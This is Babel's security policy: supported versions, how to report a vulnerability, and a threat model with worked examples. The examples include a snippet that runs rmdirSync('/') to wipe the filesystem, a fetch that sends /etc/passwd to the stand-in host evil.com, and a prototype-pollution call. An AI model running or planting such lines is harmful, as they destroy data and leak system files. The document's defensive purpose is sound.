# Security Policy

## Supported Versions

This is the list of versions of `babel` which are
currently being supported with security updates.

| Version  | Supported          |
| -------- | ------------------ |
| 8.x      | :white_check_mark: |
| 7.x      | :hourglass_flowing_sand: (until 2027-06-30)  |
| 6.x      | :x:                |

Note that for each supported major version, we only guarantee security fixes for the last minor version. This means that if, for example, the last released version is 7.16.4 we will only release security fixes as 7.16.5 and not for 7.15.x or older. This is because upgrading from a minor to another should be as easy as updating to a new patch version.

## Reporting a Vulnerability

To report a vulnerability please send an email with the details to security@babeljs.io. The vulnerability report must include a proof-of-concept of the exploit, or at least a few pointers that can help us assess the risk level. The vulnerability report must be written in English.

### Disclosure process

Once we assess the risk level, we will work together with the reporter on a patch. As soon as the patch is released, we will coordinate together with the reporter and potential significant stakeholders (such as big frameworks that use Babel and are affected, or [Tidelift](https://tidelift.com/) for packages enrolled in their system) on the best disclosure timeline.

## Threat model

In the Babel threat model, there are trusted elements such as the JavaScript runtime that runs Babel (e.g. Node.js), the JavaScript runtime that runs Babel's output (e.g. a browser), configuration files and third-party Babel plugins. Vulnerabilities that require the compromise of these trusted elements are outside the scope of the Babel threat model.

Babel does **not trust**:
- the input code to be compiled
- the input source map

Note that Babel configuration files and third-party plugins can result in arbitrary code execution: Babel consumers should not pass arbitrary plugins and configuration files to Babel without taking the appropriate measures needed to run untrusted code.

### What constitutes a vulnerability

Being able to cause the following through control of the elements that Babel does not trust is considered a vulnerability:
- _In the system that Babel itself runs in_
  - Disclosure or loss of integrity or confidentiality of data
- _In the system that output code generated by Babel runs in_
  - Any side effect or availability loss or performance degradation, other than what's expected according to the documented behavior of the language features used in the input code provided to Babel

The documented behavior of language features is defined by the corresponding specification (e.g. ECMA-262), by a proposal that changes the specification (e.g. proposals for new JavaScript features), or, when neither is available, by the behavior of other tools in the same space. Babel assumes that all built-ins defined by such specifications have not been modified.

Babel's threat model does not consider availability loss or performance degradation in the system that Babel itself runs in to be a security issue. Users passing arbitrary code as input to Babel should take the appropriate measures to handle resource exhaustion caused by the transpilation process, such as by running Babel in a separate Node.js worker than can be terminated independently from the rest of the application.

#### Examples of what constitutes a vulnerability

> **Data integrity loss in the system that Babel itself runs in**
> 
> Running Babel in Node.js to compile the code `String({ toString: new Function('require("fs").rmdirSync("/")') })` causes Babel to, while compiling, execute `require("fs").rmdirSync("/")`

> **A side effect, other than what's expected according the documented behavior of the input code, in the system that the output code generated by Babel runs in**
>
> Babel's output code for the input ``var payload = ""; fetch(`//evil.com/?payload=${payload}`);`` is ``var payload = require("fs").readFileSync("/etc/passwd"); fetch(`//evil.com/?payload=${payload}`);``

#### Examples of what does not constitute a vulnerability

> **A third-party plugin passing untrusted input to a Babel API causing prototype pollution**
> 
> When a Babel plugin uses `@babel/traverse` by doing `traverse.visitors.merge([ { ["__proto__"]: { polluted: true } } ])`, Babel defines `Object.prototype.polluted = true` in the Node.js process in which it's running.

> **Availability loss due to passing excessively complex input to Babel**
>
> When using Babel to compile a 20 MB JavaScript file, the Node.js process becomes unresponsive for 30 seconds.
>
> When using Babel to parse JavaScirpt code with 1000 nested function calls (`fn(fn(fn(fn(...))))`), Node.js throws a `Maximum call stack size exceeded` error.

> **Babel's output code calls a function that the input code did not call, due to a JavaScript built-in being patched**
> 
> Babel's output code for the input `Array.prototype.concat = doEvil; [...arr1, arr2];` is `Array.prototype.concat.call(arr1, arr2);`, causing `doEvil` to run.

### Vulnerabilities in Babel's dependencies

If you receive a security warning relative to a dependency of Babel, before reporting it to us please make sure that at least one of the following is true:
1. the version of that dependency containing the security fix is not compatible with the semver range that Babel uses to depend on it;
2. the vulnerability affects Babel's usage of that dependency.

Note that if (1) is true but (2) is false, we will consider it as a low-level vulnerability and might decide not to fix it.

---

Thanks for helping to keep babel secure.
